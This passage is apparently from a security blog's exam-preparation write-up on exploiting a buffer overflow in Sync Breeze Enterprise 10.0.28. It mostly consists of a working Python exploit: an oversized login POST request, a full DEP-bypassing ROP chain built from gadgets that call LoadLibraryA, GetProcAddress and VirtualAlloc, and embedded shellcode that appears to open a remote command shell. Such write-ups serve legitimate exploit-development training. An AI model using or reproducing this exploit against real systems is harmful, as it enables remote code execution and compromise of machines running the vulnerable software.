start_service_and_get_pid() print(f\u0026#34;[+] Attached to service PID {pid}\u0026#34;) cmds = ( windbgcmds ) subprocess.Popen([ windbg, \u0026#34;-hd\u0026#34;, \u0026#34;-p\u0026#34;, str(pid), #\u0026#34;-WF\u0026#34;, r\u0026#34;C:\\Users\\offsec\\Desktop\\t.WEW\u0026#34;, \u0026#34;-W\u0026#34;, \u0026#34;osed_layout\u0026#34;, \u0026#34;-c\u0026#34;, cmds ]) # Give WinDbg time to attach time.sleep(2) def kill_process(): subprocess.call( \u0026#39;cmd /c taskkill /F /IM {}\u0026#39;.format(process_name), shell=True ) subprocess.call( \u0026#39;cmd /c taskkill /F /IM windbg.exe\u0026#39;, shell=True ) #Using this as a shortcut def packme(val): return pack(\u0026#34;\u0026lt;I\u0026#34;, val) windbgcmds = \u0026#39;bp KERNEL32!VirtualAllocStub;g;\u0026#39; #\u0026#39;bp 0048048F;g;\u0026#39; def send_payload(): va_string = b\u0026#34;VirtualAlloc\u0026#34; skeleton = pack(\u0026#34;\u0026lt;L\u0026#34;, (0x45454545)) # dummy LoadLibraryA Address skeleton += pack(\u0026#34;\u0026lt;L\u0026#34;, (0x46464646)) # LoadLibraryA Return Address skeleton += pack(\u0026#34;\u0026lt;L\u0026#34;, (0x47474747)) # kernel32 string address skeleton += pack(\u0026#34;\u0026lt;L\u0026#34;, (0x48484848)) # dummy skeleton += pack(\u0026#34;\u0026lt;L\u0026#34;, (0x49494949)) # dummy skeleton += pack(\u0026#34;\u0026lt;L\u0026#34;, (0x51515151)) # dummy shellcode = b\u0026#34;\\x90\u0026#34; *100+ (b\u0026#34;\\x89\\xe5\\x81\\xc4\\xf0\\xf9\\xff\\xff\\x31\\xc9\\x64\\x8b\\x71\\x30\\x31\\xc0\\x83\\xc0\\x05\\x83\\xc0\\x07\\x8b\\x34\\x06\\x8b\\x76\\x1c\\x8b\\x5e\\x08\\x31\\xc0\\x83\\xc0\\x10\\x83\\xc0\\x10\\x8b\\x3c\\x06\\x8b\\x36\\x66\\x39\\x4f\\x18\\x75\\xea\\xeb\\x06\\x5e\\x89\\x75\\x04\\xeb\\x64\\xe8\\xf5\\xff\\xff\\xff\\x60\\x8b\\x43\\x3c\\x8b\\x7c\\x03\\x78\\x01\\xdf\\x8b\\x4f\\x18\\x31\\xf6\\x83\\xc6\\x10\\x83\\xc6\\x10\\x8b\\x04\\x37\\x01\\xd8\\x89\\x45\\xfc\\xe3\\x3e\\x90\\x49\\x8b\\x45\\xfc\\x8b\\x34\\x88\\x01\\xde\\x31\\xc0\\x99\\xfc\\xac\\x84\\xc0\\x74\\x07\\xc1\\xca\\x13\\x01\\xc2\\xeb\\xf4\\x3b\\x54\\x24\\x24\\x75\\xde\\x8b\\x57\\x24\\x01\\xda\\x31\\xc0\\x01\\xc8\\x01\\xc8\\x01\\xd0\\x66\\x8b\\x08\\x8b\\x57\\x1c\\x01\\xda\\x8b\\x04\\x8a\\x01\\xd8\\x89\\x44\\x24\\x1c\\x61\\xc3\\x68\\x3a\\x6f\\xa8\\xb8\\xff\\x55\\x04\\x89\\x45\\x10\\x68\\x45\\xf7\\x8f\\x3b\\xff\\x55\\x04\\x89\\x45\\x14\\x68\\x2e\\x80\\x0e\\x81\\xff\\x55\\x04\\x89\\x45\\x18\\x31\\xc0\\x66\\xb8\\x6c\\x6c\\x50\\x68\\x33\\x32\\x2e\\x64\\x68\\x77\\x73\\x32\\x5f\\x54\\xff\\x55\\x14\\x89\\xc3\\x68\\x5b\\xed\\x13\\xe9\\xff\\x55\\x04\\x89\\x45\\x1c\\x68\\xa2\\xc9\\x33\\xad\\xff\\x55\\x04\\x31\\xf6\\x83\\xc6\\x10\\x01\\xee\\x83\\xc6\\x10\\x89\\x06\\x68\\x55\\xab\\xdd\\xad\\xff\\x55\\x04\\x89\\x45\\x24\\x89\\xe0\\x66\\xb9\\x90\\x05\\x29\\xc8\\x50\\x31\\xc0\\x66\\xb8\\x02\\x02\\x50\\xff\\x55\\x1c\\x31\\xc0\\x50\\x50\\x50\\xb0\\x06\\x50\\x2c\\x05\\x50\\x40\\x50\\x31\\xc9\\x83\\xc1\\x10\\x83\\xc1\\x10\\x01\\xe9\\xff\\x11\\x89\\xc6\\x31\\xc0\\x50\\x50\\x31\\xc9\\x81\\xc1\\xf6\\xf5\\xf5\\x7e\\xf7\\xd9\\x51\\x66\\xb8\\x11\\x5c\\xc1\\xe0\\x10\\x66\\x83\\xc0\\x02\\x50\\x54\\x5f\\x31\\xc0\\x50\\x50\\x50\\x50\\x04\\x10\\x50\\x57\\x56\\xff\\x55\\x24\\x56\\x56\\x56\\x31\\xc0\\x50\\x50\\xb0\\x80\\x31\\xc9\\x66\\x89\\xc1\\x01\\xc8\\x50\\x31\\xc0\\x50\\x50\\x50\\x50\\x50\\x50\\x50\\x50\\x50\\x50\\xb0\\x44\\x50\\x54\\x5f\\xb8\\x9b\\x87\\x9a\\xff\\xf7\\xd8\\x50\\x68\\x63\\x6d\\x64\\x2e\\x54\\x5b\\x89\\xe0\\x31\\xc9\\x66\\xb9\\x90\\x03\\x29\\xc8\\x50\\x57\\x31\\xc0\\x50\\x50\\x50\\x40\\x50\\x48\\x50\\x50\\x53\\x50\\xff\\x55\\x18\\x31\\xc9\\x51\\x6a\\xff\\xff\\x55\\x10\u0026#34;) offset = b\u0026#34;A\u0026#34; * (780 - len(skeleton)-len(va_string)) + va_string rop = packme(0x10136ab5) # push esp ; and al, 0x08 ; pop esi ; add esp, 0x08 ; ret #rop += ... inputBuffer = offset+skeleton+rop+shellcode content = b\u0026#34;username=\u0026#34; + inputBuffer + b\u0026#34;\u0026amp;password=A\u0026#34; buffer = b\u0026#34;POST /login HTTP/1.1\\r\\n\u0026#34; buffer += b\u0026#34;Host: \u0026#34; + server.encode() + b\u0026#34;\\r\\n\u0026#34; buffer += b\u0026#34;User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\\r\\n\u0026#34; buffer += b\u0026#34;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\n\u0026#34; buffer += b\u0026#34;Accept-Language: en-US,en;q=0.5\\r\\n\u0026#34; buffer += b\u0026#34;Referer: http://10.11.0.22/login\\r\\n\u0026#34; buffer += b\u0026#34;Connection: close\\r\\n\u0026#34; buffer += b\u0026#34;Content-Type: application/x-www-form-urlencoded\\r\\n\u0026#34; buffer += b\u0026#34;Content-Length: \u0026#34;+ str(len(content)).encode() + b\u0026#34;\\r\\n\u0026#34; buffer += b\u0026#34;\\r\\n\u0026#34; buffer += content s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buffer) s.close() print(\u0026#34;Done!\u0026#34;) import traceback try: dbg = \u0026#39;y\u0026#39; if dbg == \u0026#39;y\u0026#39;: kill_process() time.sleep(3) start_process() send_payload() input(\u0026#34;Press Enter to exit...\u0026#34;) except Exception: traceback.print_exc() input(\u0026#34;Press Enter to exit...\u0026#34;) Writing the ROP chain # We can use rp++ to generate a file with all possible gadgets from libspp.dll:\n1 rp-win-x86 -f \u0026#34;C:\\Program Files\\Sync Breeze Enterprise\\bin\\libspp.dll\u0026#34; -r 6 \u0026gt; libspp-rop.txt Then we can search for gadgets like this:\n1 2 3 4 5 6 7 8 ┌──(john㉿kali)-[~/] └─$ cat libspp-rop.txt |grep \u0026#34;ret\u0026#34; | sed \u0026#39;s/://g\u0026#39; | grep \u0026#34;inc eax\u0026#34; 0x100a1449 adc al, 0x39 ; dec eax ; adc byte [edx+ecx*2-0x75], dh ; inc eax ; or byte [ebx], bh ; ret ; (1 found) 0x101026cd adc al, 0x74 ; or al, 0x39 ; push 0x8B6F7410 ; inc eax ; or byte [ebx], bh ; ret ; (1 found) 0x1008cfc8 adc al, 0x8B ; inc eax ; cmp byte [ebx], bh ; ret ; (1 found) 0x1008e9df adc al, 0x8B ; inc eax ; cmp byte [ebx], bh ; ret ; (1 found) 0x100bebef adc al, 0x8B ; inc eax ; or byte [ebx], bh ; ret ; (1 found) ... For this exploit our input buffer will have the following structure. The skeleton will be filled each time with the appropriate function arguments:\n1 offset + skeleton + rop + shellcode Calling LoadLibraryA # Starting our ROP chain we will obtain the address of LoadLibraryA.\nWe\u0026rsquo;ll need the address of any function from libpal imported by libspp. We\u0026rsquo;ll use WriteStringEx, but any will do as long as the address does not contain bad bytes.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 rop = packme(0x10136ab5) # push esp ; and al, 0x08 ; pop esi ; add esp, 0x08 ; ret rop += packme(0x41414141) * 3 # junk for add esp, 0x08 and previous ret 0x4 #esi has a copy of ESP rop += packme(0x10132e5a) # mov eax, esi ; pop esi ; pop ebx ; ret rop += packme(0x41414141) #junk for esi and ebx rop += packme(0x41414141) #junk for esi and ebx # eax has a copy of ESP now rop += packme(0x101547ae) # pop ebp ; ret rop += packme(0xffffffe0) # ebp rop += packme(0x100fcd71) # add eax, ebp ; dec ecx ; ret # eax points to the first dummy placeholder in our skeleton rop += packme(0x100baecb) # xchg eax, ecx ; ret # ecx points to the first dummy placeholder in our skeleton rop += packme(0x1002f729) # pop eax ; ret ; rop += packme(0x101681D4) # WriteStringEx from libpal at libspp\u0026#39;s IAT # Dereference WriteStringEx rop += packme(0x1014dc4c) # mov eax, dword [eax] ; ret ; # eax holds the address of WriteStringEx in libpal EAX now contains the address of WriteStringEx in libpal:\nNow we need to get the address of LoadLibraryA at IAT of libpal.dll. Remember that we consider all modules to have ASLR enabled except for libspp.dll.\nIn WinDbg we can use the command !dh libpal -f to retrieve the headers of the module:\nWe can see that IAT is at offset 0x8F000 with a size of 0x3EC. We can use the dps command to dump the addresses in this range and try to resolve them:\ndps 009f0000+8F000 009f0000+8F000+3EC\nWe can find LoadLibraryA at address 0x00a7f1d4 and calculate the offset from WriteStringEx (in this case 0x74254):\n1 2 3 4 5 6 7 8 9 10 11 # we need to add 0x74254 to the dereferenced WriteStringEx to get LoadLibraryA at IAT rop += packme(0x101547ae) # pop ebp ; ret rop += packme(0xfff8bdac) # ebp, -0x74254 rop += packme(0x1014c190) # sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret ;\trop += packme(0x41414141)*3 #junk #eax should hold LoadLibraryA at IAT #dereference rop += packme(0x1014dc4c) # mov eax, dword [eax] ; ret ; # Write address of LoadLibraryA to placeholder skeleton rop += packme(0x10114901) # mov dword [ecx], eax ; retn 0x000C ; If we follow our ROP chain until this point, we can see that indeed our skeleton has been populated with the address of LoadLibraryA:\nThe next part of our skeleton is the return address of LoadLibraryA. In essence, this is the address/gadget where execution will continue once LoadLibraryA has finished. In our case we need to use a gadget that will move the ESP pointer further in the stack, essentially jumping over our following gadgets to finish setting up LoadLibraryA. Once this gadget is used, we should arrive at a memory area on the stack where we can continue our ROP chain. We can advance ecx and write the return address using the following:\n1 2 3 4 5 6 7 8 9 10 11 rop += packme(0x1010adf1) # inc ecx ; ret ;\trop += packme(0x41414141)*3 #junk for retn 0x000C rop += packme(0x1010adf1) # inc ecx ; ret ; rop += packme(0x1010adf1) # inc ecx ; ret ; rop += packme(0x1010adf1) # inc ecx ; ret ; # we need to write the return address of the function (LoadLibraryA) before we # start populating the arguments rop += packme(0x1002f729) # pop eax ; ret ; rop += packme(0x100eae11) # add esp, 0x000002F0 ; retn 0x0010 # this is the gadget after LoadLibrary returns\t# Write the return Address after LoadLibraryA returns rop += packme(0x10114901) # mov dword [ecx], eax ; retn 0x000C ; After taking care of the return address, we need to fill in the skeleton with the argument required by LoadLibraryA. In this case the argument is the string kernel32.dll so that LoadLibraryA will return its base address. The easiest way to obtain a pointer to this string is to search for it on the libspp.dll module (remember for this module we\u0026rsquo;ve assumed ASLR is disabled).\nWith the address at hand we can proceed to write the argument:\n1 2 3 4 5 6 7 8 9 10 11 12 rop += packme(0x1010adf1) # inc ecx ; ret ;\trop += packme(0x41414141)*3 #junk rop += packme(0x1010adf1) # inc ecx ; ret ; rop += packme(0x1010adf1) # inc ecx ; ret ; rop += packme(0x1010adf1) # inc ecx ; ret ; # ecx points to the address where we need to write the pointer to the string that # contains the DLL name (LPCSTR lpLibFileName) # We need to fix eax to a pointer to the string kernel32.dll (found at 101835fc in libspp) rop += packme(0x1002f729) # pop eax ; ret ; rop += packme(0x101835fc) # # Write the argument, the pointer to the KERNEL32 string (name of DLL) rop += packme(0x10114901) # mov dword [ecx], eax ; retn 0x000C ; Finally, we are ready to adjust ESP to point to our skeleton and call LoadLibraryA:\n1 2 3 4 5 6 7 8 9 10 # Ready to call LoadLibraryA #align esp rop += packme(0x100baecb) #xchg eax, ecx ; ret rop += packme(0x41414141)*3 #junk for retn 0xc rop += packme(0x101547ae) # pop ebp ; ret rop += packme(0xfffffff4) # align eax with rop skeleton minus 4 for the pop ebp below rop += packme(0x100fcd71) # add eax, ebp ; dec ecx ; ret # eax points to the start of the skeleton rop += packme(0x1014426e) #xchg eax, ebp ; ret ; rop += packme(0x10126e48) #mov esp, ebp ; pop ebp ; ret ; Once LoadLibraryA returns, EAX will hold the base address of the kernel32.dll module.\nThe final step for this part of the ROP chain is to fill up the remaining stack space until the address where our stack pivot will send us (remember the gadget we used was add esp, 0x000002F0):\n1 2 #Filler rop += b\u0026#34;\\xee\u0026#34; * (0x2f0-len(rop)-12) Calling GetProcAddress # Continuing with our ROP chain, now that we have the base address of kernel32.dll in EAX we need to write it in the proper position in the skeleton we\u0026rsquo;ll use to call GetProcAddress.\nThe following gadgets achieve just that:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # eax holds the base address of kernel32.dll # copy to ecx rop += packme(0x100baecb) #xchg eax, ecx ; ret rop += packme(0x41414141) * 4 # due to the use of #add esp, 0x000002F0 ; retn 0x0010\trop += packme(0x10136ab5) #0x10136ab5 push esp ; and al, 0x08 ; pop esi ; add esp, 0x08 ; ret rop += packme(0x41414141) * 2 # due to add esp, 0x08 # esi has a copy of ESP rop += packme(0x10132e5a) #0x10132e5a mov eax, esi ; pop esi ; pop ebx ; ret rop += packme(0x41414141) #junk for esi and ebx rop += packme(0x41414141) #junk for esi and ebx # eax holds ESP now (a reference point in the stack) rop += packme(0x100baecb) #xchg eax, ecx ; ret # restore registers: # eax holds the base address of kernel32.dll # ecx points to our stack reference # The skeleton will need the GetProcAddress, followed by the return address followed by the arguments (hModule, lpProcName) # So we need to write eax at ecx + 8 (first argument, hModule) rop += packme(0x1010adf1)*8 # inc ecx ; ret ; rop += packme(0x10114901) #mov dword [ecx], eax ; retn 0x000C ; Next, we\u0026rsquo;ll need to write the address of the GetProcAddress function to our skeleton. We\u0026rsquo;ll begin by adjusting ECX to point to the correct offset and then we\u0026rsquo;ll follow the same process as before to resolve GetProcAddress from the IAT of libpal.dll:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # Restore ECX to point to the first position in our skeleton rop += packme(0x100fcd73) # dec ecx ; ret ;\trop += packme(0x41414141)*3 #junk rop += packme(0x100fcd73) # dec ecx ; ret ; rop += packme(0x100fcd73) # dec ecx ; ret ; rop += packme(0x100fcd73) # dec ecx ; ret ; rop += packme(0x100fcd73)*4 # dec ecx ; ret ; # ecx points to GetProcAddress placeholder in our skeleton, 8 bytes before hModule rop += packme(0x1002f729) #pop eax ; ret ; rop += packme(0x101681D4) # WriteStringEx at IAT at libpal from libspp # Dereference WriteStringEx rop += packme(0x1014dc4c) #mov eax, dword [eax] ; ret ; #Eax holds the address of WriteStringEx in libpal # in this case we need to add 0x00074224 to the dereferenced WriteStringEx to get the GetProcAddress at IAT of libpal rop += packme(0x101547ae) # pop ebp ; ret rop += packme(0xfff8bddc) # ebp, -0x74224 rop += packme(0x1014c190) #sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret ;\trop += packme(0x41414141)*3 #junk # eax should hold GetProcAddress at IAT of libpal # dereference rop += packme(0x1014dc4c) #mov eax, dword [eax] ; ret ; # Write address of first instruction of GetProcAddress to skeleton rop += packme(0x10114901) #mov dword [ecx], eax ; retn 0x000C ; We can break after our last gadget and verify that EAX points to the first instruction of GetProcAddress and ECX points to the correct position in the skeleton:\nFor the next part of the skeleton we need to write the return address where execution will continue after GetProcAddress has finished. Similar to what we did previously, we will use a stack pivot gadget (add esp, 0x00000208 ; ret):\n1 2 3 4 5 6 7 8 9 10 11 rop += packme(0x1010adf1) # inc ecx ; ret ;\trop += packme(0x41414141)*3 #junk rop += packme(0x1010adf1) # inc ecx ; ret ; rop += packme(0x1010adf1) # inc ecx ; ret ; rop += packme(0x1010adf1) # inc ecx ; ret ; # ecx points to the return address placeholder in our skeleton # we need to write the return address of the function before the first argument rop += packme(0x1002f729) #pop eax ; ret ; rop += packme(0x10044e9b) #add esp, 0x00000208 ; ret # this is the gadget after GetProcAddr returns\t# Write the return address after GetProcAddr returns to the skeleton rop += packme(0x10114901) #mov dword [ecx], eax ; retn 0x000C ; The final piece we need before we call GetProcAddress is to fill in the second argument of the function in the skeleton, which is a pointer to the null-terminated string that contains the symbol we want to resolve, in our case VirtualAlloc. We have added that string to our input so we can locate it in the stack using something like s -a [stack_limit] [stack_base] \u0026quot;VirtualAlloc\u0026quot;:\nBefore using the discovered offset to wirte the pointer to the string in the skeleton, we need to ensure it ends with a null byte. We will have to accomplish this using ROP gadgets:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 # We need to add the null byte at the end of our \u0026#34;VirtualAlloc\u0026#34; string # We need to align ecx with the address of the placeholder in our skeleton # and also align eax with the start of the null terminated \u0026#34;VirtualAlloc\u0026#34; string rop += packme(0x10136ab5) # push esp ; and al, 0x08 ; pop esi ; add esp, 0x08 ; ret rop += packme(0x41414141) * (2+3) # junk for add esp, 0x08 + retn 0x000C #esi has a copy of ESP rop += packme(0x10132e5a) #0x10132e5a mov eax, esi ; pop esi ; pop ebx ; ret rop += packme(0x41414141) #junk for esi and ebx rop += packme(0x41414141) #junk for esi and ebx # eax holds the reference to ESP now # align eax with the end of the VirtualAlloc string rop += packme(0x101547ae) # pop ebp ; ret rop += packme(0xffff9c77-len(va_string)) # ebp, the 0xffff9c77 is for the start of the string rop += packme(0x1014c168) # sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret ; (1 found) rop += packme(0x41414141) * 3 # junk for esi,ebp,ebx rop += packme(0x100baecb) #xchg eax, ecx ; ret #ecx points to the end of the VirtualAlloc string. need to place \\x00 there rop += packme(0x1015707a) #xor eax, eax ; ret ; #Write the null byte at the end of VirtualAlloc string rop += packme(0x10114901) #mov dword [ecx], eax ; retn 0x000C ; rop += packme(0x100baecb) #xchg eax, ecx ; ret rop += packme(0x41414141)*3 #junk for retn 0x000C rop += packme(0x101547ae) # pop ebp ; ret rop += packme(0xffff9bab) # ebp, prepare to set ecx to point back to placeholder rop += packme(0x100fcd71) # add eax, ebp ; dec ecx ; ret rop += packme(0x100baecb) #xchg eax, ecx ; ret #ecx points to the placeholder where the pointer to the string of VirtualAlloc should be rop += packme(0x10136ab5) #0x10136ab5 push esp ; and al, 0x08 ; pop esi ; add esp, 0x08 ; ret rop += packme(0x41414141) * 2 #esi has a copy of ESP rop += packme(0x10132e5a) #0x10132e5a mov eax, esi ; pop esi ; pop ebx ; ret rop += packme(0x41414141) #junk for esi and ebx rop += packme(0x41414141) #junk for esi and ebx # eax holds ESP now rop += packme(0x101547ae) # pop ebp ; ret rop += packme(0xffff9cd3) # ebp, set eax to point to the start of virtualalloc string again rop += packme(0x1014c168) #0x1014c168 sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret ; (1 found) rop += packme(0x41414141) * 3 # junk for esi,ebp,ebx # eax points to the start of the VirtualAlloc string # Write the pointer to the VirtualAlloc string to the placeholder in the skeleton rop += packme(0x10114901) #mov dword [ecx], eax ; retn 0x000C ; Checking our skeleton everything seems to be in place:\nFinally, with the values in the skeleton filled, we are ready to call GetProcAddress:\n1 2 3 4 5 6 7 8 9 10 #Prepare to call GetProcAddr #align esp rop += packme(0x100baecb) #xchg eax, ecx ; ret rop += packme(0x41414141)*3 #junk for retn 0xc rop += packme(0x101547ae) # pop ebp ; ret rop += packme(0xfffffff0) # align eax with rop skeleton minus 4 for the pop ebp below rop += packme(0x100fcd71) #0x100fcd71 add eax, ebp ; dec ecx ; ret # eax points to the start of the skeleton rop += packme(0x1014426e) #xchg eax, ebp ; ret ; rop += packme(0x10126e48) #mov esp, ebp ; pop ebp ; ret ; Once GetProcAddress returns, EAX will hold the address of VirtualAlloc:\nBefore moving on to the final part of our exploit, we need to add a few ret gadgets as a retslide due to our stack pivot (remember we used add esp, 0x00000208):\n1 2 #Filler/retslide rop += packme(0x10044ea1)*25*4 # ret, retslide Calling VirtualAlloc # At this point EAX holds the address of VirtualAlloc, so we\u0026rsquo;ll need to write it in our new skeleton. For this skeleton it will be easier to just build it wherever ECX points instead of calculating the offsets to our initial position. This is because we have moved away from the initial position.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #eax holds the address of the first instruction of VirtualAlloc # copy to ecx rop += packme(0x100baecb) #xchg eax, ecx ; ret rop += packme(0x10136ab5) #0x10136ab5 push esp ; and al, 0x08 ; pop esi ; add esp, 0x08 ; ret rop += packme(0x41414141) * 2 #esi has a copy of ESP rop += packme(0x10132e5a) #0x10132e5a mov eax, esi ; pop esi ; pop ebx ; ret rop += packme(0x41414141) #junk for esi and ebx rop += packme(0x41414141) #junk for esi and ebx # eax holds the reference to ESP now rop += packme(0x100baecb) #xchg eax, ecx ; ret # eax has the address of virtualalloc # ecx points to the stack #Write the address of VirtualAlloc to wherever ecx points \u0026lt;- that will be the new skeleton rop += packme(0x10114901) #mov dword [ecx], eax ; retn 0x000C ; Now that the address of VirtualAlloc is written to the stack, we need to write the return address and the arguments after it. The next four bytes will contain the return address where execution will continue after VirtualAlloc is executed. In our case this must be the address of our shellcode on the stack. The following gadgets adjust EAX so it points to our shellcode and write the address to our skeleton:\n1 2 3 4 5 6 7 8 9 10 11 12 13 rop += packme(0x1010adf1) # inc ecx ; ret ;\trop += packme(0x41414141)*3 #junk rop += packme(0x1010adf1) # inc ecx ; ret ; rop += packme(0x1010adf1) # inc ecx ; ret ; rop += packme(0x1010adf1) # inc ecx ; ret ; # copy ecx to eax so now eax has a reference to ESP/stack rop += packme(0x100284be) #mov eax, ecx ; ret ; rop += packme(0x101547ae) # pop ebp ; ret rop += packme(0xfffffe9c) # ebp, align eax so it points (at least near) the shellcode rop += packme(0x1014c190) #sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret ;\trop += packme(0x41414141)*3 #junk # Write the return address of VirtualAlloc a.k.a the address of our Shellcode rop += packme(0x10114901) #mov dword [ecx], eax ; retn 0x000C ; For the next step we need to write the first argument (lpAddress) for VirtualAlloc, in this case this is the address of our shellcode again:\n1 2 3 4 5 6 7 rop += packme(0x1010adf1) # inc ecx ; ret ;\trop += packme(0x41414141)*3 #junk rop += packme(0x1010adf1) # inc ecx ; ret ; rop += packme(0x1010adf1) # inc ecx ; ret ; rop += packme(0x1010adf1) # inc ecx ; ret ; # Write lpAddress, same as before, the address to our shellcode rop += packme(0x10114901) #mov dword [ecx], eax ; retn 0x000C ; The next argument is dwSize. This does not have to be the exact size of the shellcode. We\u0026rsquo;ll write the arbitrary value 0x611.\n1 2 3 4 5 6 7 8 9 10 11 12 13 rop += packme(0x1010adf1) # inc ecx ; ret ;\trop += packme(0x41414141)*3 #junk rop += packme(0x1010adf1) # inc ecx ; ret ; rop += packme(0x1010adf1) # inc ecx ; ret ; rop += packme(0x1010adf1) # inc ecx ; ret ; # craft dwSize 0x611 rop += packme(0x1015707a) #xor eax, eax ; ret ; rop += packme(0x101547ae) # pop ebp ; ret rop += packme(0xfffff9ef) # ebp, -0x611 rop += packme(0x1014c190) #sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret ; rop += packme(0x41414141)*3 #junk # Write dwSize to our skeleton rop += packme(0x10114901) #mov dword [ecx], eax ; retn 0x000C ; The next argument is flAllocationType, which must be 0x1000. We\u0026rsquo;ll craft this value like before (notice the pattern? this is becoming easier).\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 rop += packme(0x1010adf1) # inc ecx ; ret ;\trop += packme(0x41414141)*3 #junk rop += packme(0x1010adf1) # inc ecx ; ret ; rop += packme(0x1010adf1) # inc ecx ; ret ; rop += packme(0x1010adf1) # inc ecx ; ret ; # craft flAllocationType 0x1000 rop += packme(0x1002f729) #pop eax ; ret ; rop += packme(0x77777777) # eax rop += packme(0x101547ae) # pop ebp ; ret rop += packme(0x88889889) # ebp, rop += packme(0x100fcd71) #0x100fcd71 add eax, ebp ; dec ecx ; ret # Restore ecx rop += packme(0x1010adf1) # inc ecx ; ret ; # Write flAllocationType to our skeleton rop += packme(0x10114901) #mov dword [ecx], eax ; retn 0x000C ; Very similar to what we did before, we need to craft the flProtect value 0x40 which corresponds to PAGE_EXECUTE_READWRITE .\n1 2 3 4 5 6 7 8 9 10 11 12 13 rop += packme(0x1010adf1) # inc ecx ; ret ;\trop += packme(0x41414141)*3 #junk rop += packme(0x1010adf1) # inc ecx ; ret ; rop += packme(0x1010adf1) # inc ecx ; ret ; rop += packme(0x1010adf1) # inc ecx ; ret ; # craft flProtect 0x40 rop += packme(0x1015707a) #xor eax, eax ; ret ; rop += packme(0x101547ae) # pop ebp ; ret rop += packme(0xffffffc0) # ebp, -0x40 rop += packme(0x1014c190) #sub eax, ebp ; pop esi ; pop ebp ; pop ebx ; ret ; rop += packme(0x41414141)*3 #junk # Write flProtect to our skeleton rop += packme(0x10114901) #mov dword [ecx], eax ; retn 0x000C ; Now we are ready to call VirtualAlloc. All we have to do is align ESP with our skeleton.\n1 2 3 4 5 6 7 8 9 10 #Prepare to call VirtualAlloc #align esp rop += packme(0x100baecb) #xchg eax, ecx ; ret rop += packme(0x41414141)*3 #junk for retn 0xc rop += packme(0x101547ae) # pop ebp ; ret rop += packme(0xffffffe8) # ebp, -0n24 rop += packme(0x100fcd71) #0x100fcd71 add eax, ebp ; dec ecx ; ret # eax points to the start of the skeleton rop += packme(0x1014426e) #xchg eax, ebp ; ret ; rop += packme(0x10126e48) #mov esp, ebp ; pop ebp ; ret ; Once ESP is aligned, we can see that everything is set up correctly to call VirtualAlloc.\nThe following screenshot displays the memory protection status where our shellcode resides before VirtualAlloc is called:\nAnd the following image shows that the shellcode memory area has become executable after VirtualAlloc returns, effectively bypassing DEP:\nIndeed, the shellcode instructions are being executed successfully without triggering an access violation:\nThe full script can be found in GitHub: https://github.com/k4z01/OSED\n","date":"1 January 2023","externalUrl":null,"permalink":"/writeups/sync-breeze-enterprise-10-0-28-rop-chain/","section":"Writeups","summary":"Building a ROP chain for Sync Breeze that does not depend on hardcoded addresses, so it survives across Windows versions.","title":"Sync Breeze Enterprise 10.0.28 - Windows version independent ROP chain","type":"writeups"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/search/","section":"","summary":"search","title":"Search","type":"page"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]